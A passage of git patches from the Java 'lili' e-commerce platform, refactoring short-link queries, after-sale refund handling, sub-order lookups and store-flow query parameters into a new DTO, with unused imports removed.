cn.lili.common.utils.BeanUtil; import cn.lili.common.vo.PageVO; -import cn.lili.modules.goods.entity.dos.Goods; -import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; -import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.service.GoodsService; -import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.entity.dto.CollectionDTO; import cn.lili.modules.member.service.MemberService; -import cn.lili.modules.member.service.StoreCollectionService; import cn.lili.modules.store.entity.dos.Store; import cn.lili.modules.store.entity.dos.StoreDetail; import cn.lili.modules.store.entity.dto.*; @@ -275,10 +269,7 @@ public class StoreServiceImpl extends ServiceImpl implements @Override public void updateStoreGoodsNum(String storeId) { //获取店铺已上架已审核通过商品数量 - Integer goodsNum = goodsService.count(new LambdaQueryWrapper() - .eq(Goods::getStoreId, storeId) - .eq(Goods::getIsAuth, GoodsAuthEnum.PASS.name()) - .eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name())); + Integer goodsNum = goodsService.countStoreGoodsNum(storeId); //修改店铺商品数量 this.update(new LambdaUpdateWrapper() .set(Store::getGoodsNum, goodsNum) From a7509e1125bdecea6e66e6e99d3b35f4943b71cb Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 8 Dec 2021 10:03:34 +0800 Subject: [PATCH 052/145] =?UTF-8?q?=E5=BE=AE=E4=BF=A1=E6=9C=8D=E5=8A=A1?= =?UTF-8?q?=E4=B8=8E=E7=AB=AF=E9=93=BE=E6=8E=A5=E4=BC=A0=E9=80=92=E5=8F=82?= =?UTF-8?q?=E6=95=B0=E4=B8=BAquerywrapper=E8=B0=83=E6=95=B4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../modules/message/service/ShortLinkService.java | 10 ++++++++++ .../message/serviceimpl/ShortLinkServiceImpl.java | 8 ++++++++ .../cn/lili/modules/wechat/util/WechatMpCodeUtil.java | 11 ++++------- 3 files changed, 22 insertions(+), 7 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/message/service/ShortLinkService.java b/framework/src/main/java/cn/lili/modules/message/service/ShortLinkService.java index 3789ff56..30b9d7ee 100644 --- a/framework/src/main/java/cn/lili/modules/message/service/ShortLinkService.java +++ b/framework/src/main/java/cn/lili/modules/message/service/ShortLinkService.java @@ -3,10 +3,20 @@ package cn.lili.modules.message.service; import com.baomidou.mybatisplus.extension.service.IService; import cn.lili.modules.message.entity.dos.ShortLink; +import java.util.List; + /** * 短链接 业务层 + * * @author Chopper */ public interface ShortLinkService extends IService { + /** + * 根据模型,查询返回的集合 + * + * @param shortLink 短链接模型 + * @return 端链接集合 + */ + List queryShortLinks(ShortLink shortLink); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/message/serviceimpl/ShortLinkServiceImpl.java b/framework/src/main/java/cn/lili/modules/message/serviceimpl/ShortLinkServiceImpl.java index be3ed903..5d734def 100644 --- a/framework/src/main/java/cn/lili/modules/message/serviceimpl/ShortLinkServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/message/serviceimpl/ShortLinkServiceImpl.java @@ -3,16 +3,24 @@ package cn.lili.modules.message.serviceimpl; import cn.lili.modules.message.entity.dos.ShortLink; import cn.lili.modules.message.mapper.ShortLinkMapper; import cn.lili.modules.message.service.ShortLinkService; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; +import java.util.List; + /** * 短链接 业务实现 + * * @author Chopper */ @Service @Transactional(rollbackFor = Exception.class) public class ShortLinkServiceImpl extends ServiceImpl implements ShortLinkService { + @Override + public List queryShortLinks(ShortLink shortLink) { + return this.list(PageUtil.initWrapper(shortLink)); + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/wechat/util/WechatMpCodeUtil.java b/framework/src/main/java/cn/lili/modules/wechat/util/WechatMpCodeUtil.java index 519a6e8e..9ff0890a 100644 --- a/framework/src/main/java/cn/lili/modules/wechat/util/WechatMpCodeUtil.java +++ b/framework/src/main/java/cn/lili/modules/wechat/util/WechatMpCodeUtil.java @@ -1,12 +1,11 @@ package cn.lili.modules.wechat.util; +import cn.lili.common.enums.ClientTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.common.enums.ClientTypeEnum; import cn.lili.modules.message.entity.dos.ShortLink; import cn.lili.modules.message.service.ShortLinkService; import com.alibaba.fastjson.JSON; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.apache.http.HttpEntity; @@ -100,16 +99,14 @@ public class WechatMpCodeUtil { //短链接存储 ShortLink shortLink = new ShortLink(); - //已经保存过则不再保存 - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper(); - queryWrapper.eq(ShortLink::getOriginalParams, scene); - List shortLinks = shortLinkService.list(queryWrapper); + shortLink.setOriginalParams(scene); + List shortLinks = shortLinkService.queryShortLinks(shortLink); if (shortLinks.size() > 0) { shortLink = shortLinks.get(0); } else { shortLink.setOriginalParams(scene); shortLinkService.save(shortLink); - shortLink = shortLinkService.getOne(queryWrapper); + shortLink = shortLinkService.queryShortLinks(shortLink).get(0); } String accessToken = wechatAccessTokenUtil.cgiAccessToken(ClientTypeEnum.WECHAT_MP); Map params = new HashMap<>(4); From 1764e6956b42bb147c4119064bc7e54b79263359 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 8 Dec 2021 10:40:45 +0800 Subject: [PATCH 053/145] =?UTF-8?q?=E5=94=AE=E5=90=8E=E4=B8=8E=E5=AD=90?= =?UTF-8?q?=E8=AE=A2=E5=8D=95=E6=A8=A1=E5=9D=97=E5=8F=82=E6=95=B0=E8=A7=A3?= =?UTF-8?q?=E8=80=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../order/aftersale/entity/dos/AfterSale.java | 2 +- .../serviceimpl/AfterSaleServiceImpl.java | 38 ++++++++----------- .../order/order/service/OrderItemService.java | 8 ++++ .../serviceimpl/OrderItemServiceImpl.java | 8 +++- .../modules/payment/kit/RefundSupport.java | 26 +++++-------- 5 files changed, 40 insertions(+), 42 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dos/AfterSale.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dos/AfterSale.java index 8d668bc0..52e345b8 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dos/AfterSale.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dos/AfterSale.java @@ -142,7 +142,7 @@ public class AfterSale extends BaseEntity { private String mLogisticsName; @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd") - @DateTimeFormat(pattern = "yyyy-MM-dd") + @DateTimeFormat(pattern = "yyyy-MM-dd") @ApiModelProperty(value = "买家发货时间") private Date mDeliverTime; diff --git a/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java index cf5ee263..9d2c3260 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java @@ -7,27 +7,25 @@ import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.security.AuthUser; +import cn.lili.common.security.OperationalJudgment; import cn.lili.common.security.context.UserContext; -import cn.lili.common.security.enums.UserEnums; import cn.lili.common.utils.BeanUtil; import cn.lili.common.utils.CurrencyUtil; import cn.lili.common.utils.SnowFlake; -import cn.lili.common.vo.PageVO; import cn.lili.modules.order.aftersale.aop.AfterSaleLogPoint; import cn.lili.modules.order.aftersale.entity.dos.AfterSale; -import cn.lili.modules.order.order.entity.dos.Order; -import cn.lili.modules.order.order.entity.dos.OrderItem; -import cn.lili.modules.order.order.entity.enums.*; import cn.lili.modules.order.aftersale.entity.dto.AfterSaleDTO; -import cn.lili.modules.order.order.entity.enums.OrderItemAfterSaleStatusEnum; -import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; -import cn.lili.modules.order.order.entity.enums.OrderTypeEnum; -import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.aftersale.entity.vo.AfterSaleApplyVO; import cn.lili.modules.order.aftersale.entity.vo.AfterSaleSearchParams; import cn.lili.modules.order.aftersale.entity.vo.AfterSaleVO; import cn.lili.modules.order.aftersale.mapper.AfterSaleMapper; import cn.lili.modules.order.aftersale.service.AfterSaleService; +import cn.lili.modules.order.order.entity.dos.Order; +import cn.lili.modules.order.order.entity.dos.OrderItem; +import cn.lili.modules.order.order.entity.enums.OrderItemAfterSaleStatusEnum; +import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; +import cn.lili.modules.order.order.entity.enums.OrderTypeEnum; +import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.service.OrderItemService; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.trade.entity.enums.AfterSaleRefundWayEnum; @@ -35,15 +33,12 @@ import cn.lili.modules.order.trade.entity.enums.AfterSaleStatusEnum; import cn.lili.modules.order.trade.entity.enums.AfterSaleTypeEnum; import cn.lili.modules.payment.entity.enums.PaymentMethodEnum; import cn.lili.modules.payment.kit.RefundSupport; -import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; -import cn.lili.modules.statistics.util.StatisticsDateUtil; import cn.lili.modules.store.entity.dto.StoreAfterSaleAddressDTO; import cn.lili.modules.store.service.StoreDetailService; import cn.lili.modules.system.aspect.annotation.SystemLogPoint; import cn.lili.modules.system.entity.dos.Logistics; import cn.lili.modules.system.entity.vo.Traces; import cn.lili.modules.system.service.LogisticsService; -import cn.lili.common.security.OperationalJudgment; import cn.lili.mybatis.util.PageUtil; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.AfterSaleTagsEnum; @@ -58,12 +53,10 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; -import javax.annotation.PostConstruct; import java.util.Date; import java.util.List; import java.util.Objects; import java.util.stream.Collectors; -import java.util.stream.Stream; /** * 售后业务层实现 @@ -197,7 +190,7 @@ public class AfterSaleServiceImpl extends ServiceImpl() .eq(OrderItem::getSn, orderItem.getSn()) .set(OrderItem::getAfterSaleStatus, orderItem.getAfterSaleStatus()) - .set(OrderItem::getReturnGoodsNumber,orderItem.getReturnGoodsNumber())); + .set(OrderItem::getReturnGoodsNumber, orderItem.getReturnGoodsNumber())); } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/OrderItemService.java b/framework/src/main/java/cn/lili/modules/order/order/service/OrderItemService.java index cee318a2..ca3c3f4a 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/OrderItemService.java +++ b/framework/src/main/java/cn/lili/modules/order/order/service/OrderItemService.java @@ -58,4 +58,12 @@ public interface OrderItemService extends IService { */ List getByOrderSn(String orderSn); + /** + * 子订单查询 + * + * @param orderSn 订单编号 + * @param skuId skuid + * @return 子订单 + */ + OrderItem getByOrderSnAndSkuId(String orderSn, String skuId); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderItemServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderItemServiceImpl.java index 7579de46..428ecb95 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderItemServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderItemServiceImpl.java @@ -9,14 +9,12 @@ import cn.lili.modules.order.order.entity.enums.OrderItemAfterSaleStatusEnum; import cn.lili.modules.order.order.mapper.OrderItemMapper; import cn.lili.modules.order.order.service.OrderItemService; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; -import java.util.Date; import java.util.List; /** @@ -80,4 +78,10 @@ public class OrderItemServiceImpl extends ServiceImpl() + .eq(OrderItem::getOrderSn, orderSn) + .eq(OrderItem::getSkuId, skuId)); + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java b/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java index 4f4e20a4..23d116f2 100644 --- a/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java +++ b/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java @@ -3,22 +3,19 @@ package cn.lili.modules.payment.kit; import cn.lili.common.utils.SnowFlake; import cn.lili.common.utils.SpringContextUtil; import cn.lili.modules.order.aftersale.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.service.AfterSaleService; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.OrderItem; import cn.lili.modules.order.order.service.OrderItemService; -import cn.lili.modules.order.aftersale.service.AfterSaleService; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.order.service.StoreFlowService; import cn.lili.modules.payment.entity.RefundLog; import cn.lili.modules.payment.entity.enums.PaymentMethodEnum; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import javax.servlet.http.HttpServletRequest; -import java.util.Date; /** * 退款支持 @@ -73,10 +70,6 @@ public class RefundSupport { Payment payment = (Payment) SpringContextUtil.getBean(paymentMethodEnum.getPlugin()); payment.refund(refundLog); - //记录售后单中的退款金额 - afterSaleService.update(new LambdaUpdateWrapper() - .eq(AfterSale::getId, afterSale.getId()) - .set(AfterSale::getRefundTime, new Date())); this.updateReturnGoodsNumber(afterSale); //记录退款流水 @@ -85,22 +78,21 @@ public class RefundSupport { /** * 功能描述: 修改子订单中已售后退款商品数量 + * + * @return void * @Author ftyy * @Description //TODO * @Date 17:33 2021/11/18 * @Param [afterSale] - * @return void **/ - private void updateReturnGoodsNumber(AfterSale afterSale){ + private void updateReturnGoodsNumber(AfterSale afterSale) { //根据商品id及订单sn获取子订单 - OrderItem orderItem = orderItemService.getOne(new LambdaQueryWrapper() - .eq(OrderItem::getOrderSn, afterSale.getOrderSn()) - .eq(OrderItem::getGoodsId, afterSale.getGoodsId())); + OrderItem orderItem = orderItemService.getByOrderSnAndSkuId(afterSale.getOrderSn(), afterSale.getGoodsId()); + + orderItem.setReturnGoodsNumber(afterSale.getNum() + orderItem.getReturnGoodsNumber()); + //修改子订单订单中的退货数量 - orderItemService.update(new LambdaUpdateWrapper() - .eq(OrderItem::getOrderSn,afterSale.getOrderSn()) - .eq(OrderItem::getGoodsId,afterSale.getGoodsId()) - .set(OrderItem::getReturnGoodsNumber,(afterSale.getNum()+orderItem.getReturnGoodsNumber()))); + orderItemService.updateById(orderItem); } /** From c301c559057f5cb46abf638432c509c607234781 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 8 Dec 2021 10:42:15 +0800 Subject: [PATCH 054/145] =?UTF-8?q?=E5=8E=BB=E9=99=A4=E6=97=A0=E6=95=88?= =?UTF-8?q?=E5=BC=95=E7=94=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../java/cn/lili/modules/payment/kit/RefundSupport.java | 6 ------ 1 file changed, 6 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java b/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java index 23d116f2..4cf4aac8 100644 --- a/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java +++ b/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java @@ -3,7 +3,6 @@ package cn.lili.modules.payment.kit; import cn.lili.common.utils.SnowFlake; import cn.lili.common.utils.SpringContextUtil; import cn.lili.modules.order.aftersale.entity.dos.AfterSale; -import cn.lili.modules.order.aftersale.service.AfterSaleService; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.OrderItem; import cn.lili.modules.order.order.service.OrderItemService; @@ -31,11 +30,6 @@ public class RefundSupport { */ @Autowired private StoreFlowService storeFlowService; - /** - * 售后 - */ - @Autowired - private AfterSaleService afterSaleService; /** * 订单 */ From 357b2141927adb2a47440e9583dc9623101aff1e Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 8 Dec 2021 11:39:09 +0800 Subject: [PATCH 055/145] =?UTF-8?q?=E5=BA=97=E9=93=BA=E6=B5=81=E6=B0=B4?= =?UTF-8?q?=E4=B8=9A=E5=8A=A1=E6=A8=A1=E5=9D=97=E5=8F=82=E6=95=B0=E8=A7=A3?= =?UTF-8?q?=E8=80=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../order/entity/dto/StoreFlowQueryDTO.java | 32 +++++++++ .../order/order/service/StoreFlowService.java | 27 +++----- .../serviceimpl/StoreFlowServiceImpl.java | 65 +++++++++++++------ .../payment/service/PaymentService.java | 13 ---- .../serviceimpl/PaymentServiceImpl.java | 14 ---- .../store/serviceimpl/BillServiceImpl.java | 25 ++----- .../order/PaymentLogManagerController.java | 8 +-- 7 files changed, 97 insertions(+), 87 deletions(-) create mode 100644 framework/src/main/java/cn/lili/modules/order/order/entity/dto/StoreFlowQueryDTO.java diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/StoreFlowQueryDTO.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/StoreFlowQueryDTO.java new file mode 100644 index 00000000..cd27df69 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/StoreFlowQueryDTO.java @@ -0,0 +1,32 @@ +package cn.lili.modules.order.order.entity.dto; + +import cn.lili.common.vo.PageVO; +import cn.lili.modules.store.entity.dos.Bill; +import io.swagger.annotations.ApiModelProperty; +import lombok.Builder; +import lombok.Data; + +/** + * 店铺流水查询DTO + * + * @author Chopper + * @version v1.0 + * 2021-12-08 10:53 + */ +@Data +@Builder +public class StoreFlowQueryDTO { + + @ApiModelProperty(value = "类型") + private String type; + + @ApiModelProperty(value = "过滤只看分销订单") + private Boolean justDistribution; + + @ApiModelProperty("结算单") + private Bill bill; + + @ApiModelProperty(value = "分页") + private PageVO pageVO; + +} diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java b/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java index 4c8a080e..66a3c82a 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java +++ b/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java @@ -3,16 +3,12 @@ package cn.lili.modules.order.order.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.order.entity.dos.StoreFlow; +import cn.lili.modules.order.order.entity.dto.StoreFlowQueryDTO; import cn.lili.modules.store.entity.vos.StoreFlowPayDownloadVO; import cn.lili.modules.store.entity.vos.StoreFlowRefundDownloadVO; -import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.core.toolkit.Constants; import com.baomidou.mybatisplus.extension.service.IService; -import org.apache.ibatis.annotations.Param; -import org.apache.ibatis.annotations.Select; -import java.util.Date; import java.util.List; /** @@ -40,31 +36,26 @@ public interface StoreFlowService extends IService { /** * 获取商家流水 * - * @param storeId 商家ID - * @param type 收入、退款 - * @param distribution 是否查看分销相关数据 - * @param pageVO 分页 - * @param startTime 开始时间 - * @param endTime 结束时间 - * @return + * @param storeFlowQueryDTO 查询参数 + * @return 返回分页 */ - IPage getStoreFlow(String storeId, String type, boolean distribution, PageVO pageVO, Date startTime, Date endTime); + IPage getStoreFlow(StoreFlowQueryDTO storeFlowQueryDTO); /** - * 获取结算单的入账流水 + * 获取结算单地入账流水 * - * @param queryWrapper 查询条件 + * @param storeFlowQueryDTO 查询条件 * @return 入账流水 */ - List getStoreFlowPayDownloadVO(Wrapper queryWrapper); + List getStoreFlowPayDownloadVO(StoreFlowQueryDTO storeFlowQueryDTO); /** * 获取结算单的退款流水 * - * @param queryWrapper 查询条件 + * @param storeFlowQueryDTO 查询条件 * @return 退款流水 */ - List getStoreFlowRefundDownloadVO(Wrapper queryWrapper); + List getStoreFlowRefundDownloadVO(StoreFlowQueryDTO storeFlowQueryDTO); /** diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java index 70fdbeec..7638ef51 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java @@ -1,11 +1,15 @@ package cn.lili.modules.order.order.serviceimpl; -import cn.lili.common.utils.*; +import cn.lili.common.utils.BeanUtil; +import cn.lili.common.utils.CurrencyUtil; +import cn.lili.common.utils.SnowFlake; +import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.OrderItem; import cn.lili.modules.order.order.entity.dos.StoreFlow; +import cn.lili.modules.order.order.entity.dto.StoreFlowQueryDTO; import cn.lili.modules.order.order.entity.enums.FlowTypeEnum; import cn.lili.modules.order.order.entity.enums.OrderPromotionTypeEnum; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; @@ -20,7 +24,6 @@ import cn.lili.modules.store.entity.vos.StoreFlowPayDownloadVO; import cn.lili.modules.store.entity.vos.StoreFlowRefundDownloadVO; import cn.lili.modules.store.service.BillService; import cn.lili.mybatis.util.PageUtil; -import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; @@ -31,7 +34,6 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; -import java.util.Date; import java.util.List; /** @@ -148,7 +150,7 @@ public class StoreFlowServiceImpl extends ServiceImpl().eq(StoreFlow::getOrderItemSn, afterSale.getOrderItemSn()) - .eq(StoreFlow::getFlowType,FlowTypeEnum.PAY)); + .eq(StoreFlow::getFlowType, FlowTypeEnum.PAY)); storeFlow.setNum(afterSale.getNum()); storeFlow.setCategoryId(payStoreFlow.getCategoryId()); //佣金 @@ -167,37 +169,60 @@ public class StoreFlowServiceImpl extends ServiceImpl getStoreFlow(String storeId, String type, boolean distribution, PageVO pageVO, Date startTime, Date endTime) { + public IPage getStoreFlow(StoreFlowQueryDTO storeFlowQueryDTO) { - LambdaQueryWrapper lambdaQueryWrapper = Wrappers.lambdaQuery(); - lambdaQueryWrapper.eq(StoreFlow::getStoreId, storeId); - lambdaQueryWrapper.isNotNull(distribution, StoreFlow::getDistributionRebate); - lambdaQueryWrapper.between(StoreFlow::getCreateTime, startTime, endTime); - lambdaQueryWrapper.eq(StringUtils.isNotEmpty(type), StoreFlow::getFlowType, type); - return this.page(PageUtil.initPage(pageVO), lambdaQueryWrapper); + return this.page(PageUtil.initPage(storeFlowQueryDTO.getPageVO()), generatorQueryWrapper(storeFlowQueryDTO)); + } + + + @Override + public List getStoreFlowPayDownloadVO(StoreFlowQueryDTO storeFlowQueryDTO) { + return baseMapper.getStoreFlowPayDownloadVO(generatorQueryWrapper(storeFlowQueryDTO)); } @Override - public List getStoreFlowPayDownloadVO(Wrapper queryWrapper) { - return baseMapper.getStoreFlowPayDownloadVO(queryWrapper); - } - - @Override - public List getStoreFlowRefundDownloadVO(Wrapper queryWrapper) { - return baseMapper.getStoreFlowRefundDownloadVO(queryWrapper); + public List getStoreFlowRefundDownloadVO(StoreFlowQueryDTO storeFlowQueryDTO) { + return baseMapper.getStoreFlowRefundDownloadVO(generatorQueryWrapper(storeFlowQueryDTO)); } @Override public IPage getStoreFlow(String id, String type, PageVO pageVO) { Bill bill = billService.getById(id); - return this.getStoreFlow(bill.getStoreId(), type, false, pageVO, bill.getStartTime(), bill.getCreateTime()); + return this.getStoreFlow(StoreFlowQueryDTO.builder().type(type).pageVO(pageVO).bill(bill).build()); } @Override public IPage getDistributionFlow(String id, PageVO pageVO) { Bill bill = billService.getById(id); - return this.getStoreFlow(bill.getStoreId(), null, true, pageVO, bill.getStartTime(), bill.getCreateTime()); + return this.getStoreFlow(StoreFlowQueryDTO.builder().pageVO(pageVO).bill(bill).build()); } + /** + * 生成查询wrapper + * + * @param storeFlowQueryDTO + * @return + */ + private LambdaQueryWrapper generatorQueryWrapper(StoreFlowQueryDTO storeFlowQueryDTO) { + + + LambdaQueryWrapper lambdaQueryWrapper = Wrappers.lambdaQuery(); + //分销订单过滤是否判定 + lambdaQueryWrapper.isNotNull(storeFlowQueryDTO.getJustDistribution() != null && storeFlowQueryDTO.getJustDistribution(), + StoreFlow::getDistributionRebate); + + //流水类型判定 + lambdaQueryWrapper.eq(StringUtils.isNotEmpty(storeFlowQueryDTO.getType()), + StoreFlow::getFlowType, storeFlowQueryDTO.getType()); + + //结算单非空,则校对结算单参数 + if (storeFlowQueryDTO.getBill() != null) { + Bill bill = storeFlowQueryDTO.getBill(); + lambdaQueryWrapper.eq(StringUtils.isNotEmpty(bill.getStoreId()), StoreFlow::getStoreId, bill.getStoreId()); + lambdaQueryWrapper.between(bill.getStartTime() != null && bill.getEndTime() != null, + StoreFlow::getCreateTime, bill.getStartTime(), bill.getEndTime()); + } + return lambdaQueryWrapper; + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/payment/service/PaymentService.java b/framework/src/main/java/cn/lili/modules/payment/service/PaymentService.java index 5ecef2a1..700dd1a1 100644 --- a/framework/src/main/java/cn/lili/modules/payment/service/PaymentService.java +++ b/framework/src/main/java/cn/lili/modules/payment/service/PaymentService.java @@ -1,10 +1,6 @@ package cn.lili.modules.payment.service; -import cn.lili.modules.order.order.entity.vo.PaymentLog; import cn.lili.modules.payment.kit.dto.PaymentSuccessParams; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; /** * 支付日志 业务层 @@ -29,13 +25,4 @@ public interface PaymentService { */ void adminPaySuccess(PaymentSuccessParams paymentSuccessParams); - - /** - * 获取支付日志 - * - * @param initPage - * @param initWrapper - * @return - */ - IPage page(Page initPage, QueryWrapper initWrapper); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/payment/serviceimpl/PaymentServiceImpl.java b/framework/src/main/java/cn/lili/modules/payment/serviceimpl/PaymentServiceImpl.java index 489ba5a2..a601d6d1 100644 --- a/framework/src/main/java/cn/lili/modules/payment/serviceimpl/PaymentServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/payment/serviceimpl/PaymentServiceImpl.java @@ -1,21 +1,14 @@ package cn.lili.modules.payment.serviceimpl; -import cn.lili.modules.order.order.entity.vo.PaymentLog; -import cn.lili.modules.order.order.mapper.OrderMapper; -import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.payment.kit.CashierSupport; import cn.lili.modules.payment.kit.dto.PaymentSuccessParams; import cn.lili.modules.payment.kit.params.CashierExecute; import cn.lili.modules.payment.service.PaymentService; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; -import javax.annotation.Resource; import java.util.List; /** @@ -33,8 +26,6 @@ public class PaymentServiceImpl implements PaymentService { private List cashierExecutes; @Autowired private CashierSupport cashierSupport; - @Resource - private OrderService orderService; @Override public void success(PaymentSuccessParams paymentSuccessParams) { @@ -61,9 +52,4 @@ public class PaymentServiceImpl implements PaymentService { cashierExecute.paymentSuccess(paymentSuccessParams); } } - - @Override - public IPage page(Page initPage, QueryWrapper initWrapper) { - return orderService.queryPaymentLogs(initPage, initWrapper); - } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java index 5e3a286c..c0c9c04b 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java @@ -11,11 +11,8 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; import cn.lili.common.utils.CurrencyUtil; import cn.lili.common.utils.SnowFlake; -import cn.lili.common.utils.StringUtils; -import cn.lili.common.vo.PageVO; -import cn.lili.modules.order.order.entity.dos.StoreFlow; 